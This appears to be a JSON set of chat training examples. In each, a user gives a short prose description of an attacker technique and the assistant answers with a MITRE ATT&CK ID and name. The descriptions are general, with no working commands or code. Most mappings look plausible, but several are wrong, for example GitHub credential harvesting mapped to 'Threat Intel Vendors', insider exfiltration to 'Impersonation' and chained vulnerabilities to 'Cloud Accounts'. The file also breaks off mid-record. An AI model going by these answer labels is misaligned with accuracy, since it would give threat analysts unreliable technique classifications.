    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes open vulnerability databases for mentions of misconfigured database services in target organizations."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries download a legitimate remote desktop tool from a software repository to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers obtained control of a botnet by buying its source code and command infrastructure, then used it to exfiltrate data from corporate networks."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By deploying a hidden virtual instance, the adversary masks the malicious binaries from the host OS."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages misconfigured installer file permissions to replace the original executable with a trojan, achieving privilege escalation when the installer is run."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker impersonates a trusted colleague and sends a chat message with a link that triggers a malicious macro in a Microsoft Office document upon click."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues a sysctl command to capture the hardware architecture (e.g., x86_64) and CPU flags of the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder acquires a collection of exploit tools from a hacking forum and uses them to infiltrate the target organization's network."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary distributes a malicious Excel file via a Slack channel, disguised as a project report."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor employs the Bash history injection technique to execute commands with sudo privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers swap a signed system executable with a trojanized version that uses a mismatched digital signature, causing a signature verification error."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending a high rate of HTTP POST requests with large payloads to a web service, the adversary exhausts the application’s buffer resources, resulting in a denial‑of‑service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a known vulnerability in a popular software package to gain initial access"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a legitimate process by allocating memory, writing payload, and using RtlCreateUserThread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary was given the same hash as a known legitimate utility, allowing it to bypass integrity checks that rely on hash comparisons."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the ptrace system call to perform code injection into a privileged process, allowing them to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder performs a credential dumping attack on a Linux system by reading /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a man‑in‑the‑browser attack on a banking portal, capturing the account numbers users type into the transaction form."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses open proxy servers in different geographic regions, chaining them to create a multi‑hop proxy path that masks the final destination of data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages Windows Remote Management (WinRM) to run PowerShell commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the attacker runs a custom tool that writes random data across the entire disk to ensure no remnants remain."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the ODBC driver registration via Odbcconf to point to a malicious payload, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group harvests public GitHub repositories to find hard‑coded credentials and internal IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Staging of exfiltrated data occurs when the attacker transfers files to a remote dropbox account they control."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a malicious Java JAR file using the 'java -jar' command to start a C2 client."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware measures CPU cycles and only proceeds with the attack after a specific number of cycles have elapsed, leveraging time‑based virtualization evasion."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat extracts credential data by scanning securityd's runtime memory for password tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a set of domain names and points them to a compromised web hosting service."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a signed installer with a tampered signature to distribute a payload that appears legitimate to endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT conducts domain fronting by sending HTTPS requests to a legitimate domain (e.g., facebook.com) while the actual request is routed to a malicious backend server hosting the malware."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sets up an Outlook rule that triggers a scheduled task to run a backdoor executable after mail synchronization."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses WMI to stop the Antimalware Service Executable process and then deletes its persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor establishes a new cloud account in Alibaba Cloud to bypass existing security controls."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining user access, the threat actor reads the bash command history to locate commands that include credentials such as sudo passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a custom transport agent to the Exchange transport pipeline, the attacker achieves persistence and command execution."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code adds a registry value under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices to launch a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors probe the organization’s router interfaces to identify open ports and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor emailed a fake PDF invoice to employees, which when opened executed a malicious PowerShell script to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage serverless function's temporary storage to stage and transfer stolen data."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script drops a malicious DLL and then uses PowerShell to remove its Zone.Identifier ADS, bypassing the Mark‑of‑the‑Web protection mechanism."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a web server, the adversary installed a reverse VNC tunnel to maintain external remote access."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit checks for specific language settings in the OS locale and only triggers if the locale is set to English (United States)."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public certificate transparency logs to locate valid TLS certificates for targeted domains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries prepend a directory with malicious tools to the PATH environment variable, intercepting calls to system binaries and redirecting execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware uses the Java System.getProperty(\"os.name\") call to discover the operating system type and version for payload selection."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a custom debugger for a legitimate program using IFEO, causing the malicious payload to run automatically on execution of that program."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs a command that captures the current screen and uploads the PNG to an FTP server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups develop their own code signing infrastructure to sign ransomware variants across multiple campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping provides the hacker with domain account passwords, which are then used for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up serverless functions in an unused cloud region to conduct covert data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate and then delete log files to cover their tracks and impair incident response."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create custom malware designed specifically for the targeted system environment to minimize detection possibilities"
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The observed technique includes creating a service account with limited rights, then later escalating its privileges."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the victim's system to force TLS 1.0 usage, weakening encryption and enabling easier decryption of traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs the \"net accounts\" command on the compromised host to discover password aging parameters."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an existing local administrator account on the victim machine to log in after the initial breach."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate printer with a tampered model that contains hidden firmware capable of logging printed documents."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds malicious code in an installer’s bootstrapper, causing execution when the bootstrapper validates the package."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses regsvr32.exe to execute a malicious scriptlet hosted on a remote URL."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a malicious DLL placed in a writable system directory to hijack a trusted process, allowing them to extract stored passwords from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor exploits a vulnerable web socket implementation to execute commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the extra window memory area to inject and run a malicious module inside another process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Employ a combination of vulnerabilities to achieve a specific goal that one alone could not accomplish"
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider uses their privileged access to copy sensitive files and exfiltrate them via encrypted channels."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the msiexec utility to execute a malicious DLL, employing the system binary as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accesses a cloud VM by invoking the provider's remote shell feature, bypassing any on-premise bastion host."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a public Telegram channel to distribute malicious links to targeted users."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is exfiltrated by encoding it into the subdomains of HTTP requests made to a legitimate content delivery network."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests public LinkedIn and company website data to map the target organization's hierarchy and business units."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used the \"find\" command on Linux to list files in /etc and other critical directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious PowerShell script to \"explorer.exe\" and placed it in the System32 directory to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker updates the auto-scaling configuration in Azure to launch additional compromised instances."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell script that calls Stop-Service on the \"wuauserv\" service to block Windows Update."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor monitored Workplace by Facebook chats to capture credentials that were shared in messages without encryption."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload is added to the Office application’s registry Run key (HKLM\\Software\\Microsoft\\Office\\PowerPoint\\Addins) to execute on PowerPoint startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs a packet capture tool on compromised hosts to monitor all inbound and outbound traffic for credentials and session tokens."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
